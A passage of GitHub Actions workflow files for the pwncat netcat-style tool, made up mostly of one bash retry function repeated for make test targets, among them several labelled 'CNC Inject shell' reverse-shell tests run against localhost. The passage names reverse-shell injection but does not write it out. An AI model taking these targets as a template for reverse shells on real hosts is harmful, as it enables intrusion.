} retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-2.7.yml000066400000000000000000001215141414025024700223530ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: ubu-2.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-2.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 2.7 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} 